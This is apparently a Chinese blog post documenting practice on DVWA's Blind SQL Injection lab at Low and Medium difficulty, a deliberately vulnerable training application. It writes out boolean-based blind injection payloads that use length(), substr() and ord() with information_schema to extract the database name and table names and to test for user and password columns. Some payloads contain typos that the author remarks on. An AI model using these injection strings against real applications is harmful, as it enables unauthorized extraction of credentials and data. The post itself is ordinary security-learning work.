DVWA[SQL-Injection(Blind)]学习记录

一天肝一个注入有点上头

示例一(Low)

题目分析

随便注注
输入1
在这里插入图片描述
输入 1’
在这里插入图片描述
再试试 1’’
在这里插入图片描述
注到这差不多知道是字符型注入了,但是因为页面值返回了这个id是否在数据库里面,并没有返回数据库里面的数据,这个时候就不能使用联合查询注入了,所以使用布尔注入来解题

判断库名长度

先来判断一下数据库库名的长度
结合题目场景,输入查询语句:

1' and length(dabase())>3#

回显:
在这里插入图片描述
再试试:

1' and length(database())>4#

回显:

说明数据库的库名长度是4

使用逐字符判断的方法获取数据库库名

数据库库名的范围一般在A-Z, a-z之内,可能还会有其他的一些特殊字符
输入查询语句:(因为在之前的练习中早就知道数据库的库名是‘dvwa’,所以就不一一试试了

1' and substr(database(),1,1)='d(这里的字母不区分大小写)

substr是截取的意思,其意思是截取database()的值,从第一个字符开始(第一个数字1),只返回一个(第二个数字1)
在这里插入图片描述
查询第二个字符的话就是以下查询语句:(后面的依次类推)

1' and  substr(database(),2,1)='v

也可以使用ASCII码的字符来查询,在MySQL中,ASCII码转换的函数是ord()
那么查询语句变为如下:(就不一个个试啦直接上)

1' and ord(substr(database(),1,1))=100#

当然也可以利用Burp来爆破(上面的看起来笨笨的哈哈哈)
在这里插入图片描述

查询表名

查询表名的话,也是先查询表名的长度,已知数据库dvwa里面有两个表,第一个表是guestbook,第二个表是users,所以这里就直接查询啦,拿第二个表来示例啦
输入查询语句:

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

可以得到第二个表名的长度为5
接下来也就是要查询具体的表名,也是简单示例啦
输入查询语句:

1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='u'#

依次查询可得:第二个表名为users

爆部分字段

看看users表里面有多少个字段数
查询语句:

1' and (select count(*)  from  information_schema.columns where table_schema='dvwa' and table_name='users')=8#

回显存在,说明users表的字段数为8
惯例先来查询长度(…这个查询语句快把我折磨疯了,我实在不理解这个语句为什么不行 先放一下)
这个是查users表的第一个字段名的长度(注意单引号是中文格式,用 ` 也行)

1and length(substr((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1),1))=7#

(好了我现在知道是什么原因了 我实在不理解为什么这个单引号用中文格式的就行,英文的不行???容我再去找找原因)

mysql中点引号( ’ )和反勾号( ` )的区别:(linux下不区分,windows下区分)
区别:
单引号( ’ )或双引号主要用于字符串的引用符号
eg:mysql> SELECT ‘hello’, “hello” ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]

eg: mysql > SELECT FROM table WHERE xxx =‘abc’

(上一句红色的字符串两边都加了`,MDark语法搞得它显示不出来…

打上 `是为了防止与系统保留字和普通字符冲突

直接查询user和password是否在users表

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

回显都是exists.

剩下的就不写了,一个一个爆就是一个很大的工作量.

示例二(medium)

和SQL注入中等难度的题目没什么区别
在这里插入图片描述
观察url没看到有参数,那就是POST传参了,浅浅burp抓包

分析:
输入 : 1 回显:exists
输入: 1’ 回显:
输入 : 1’’ 回显:
输入: 1 and 1=1 回显:exists

可以知道是数字型注入,然后单引号和双引号都会被转义,在后面的查询表名以及字段名的时候最好使用ord()函数或者使用十六进制ascii码,后面的基本跟low的雷同(放个图)
在这里插入图片描述

最后一题明天再更啦

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值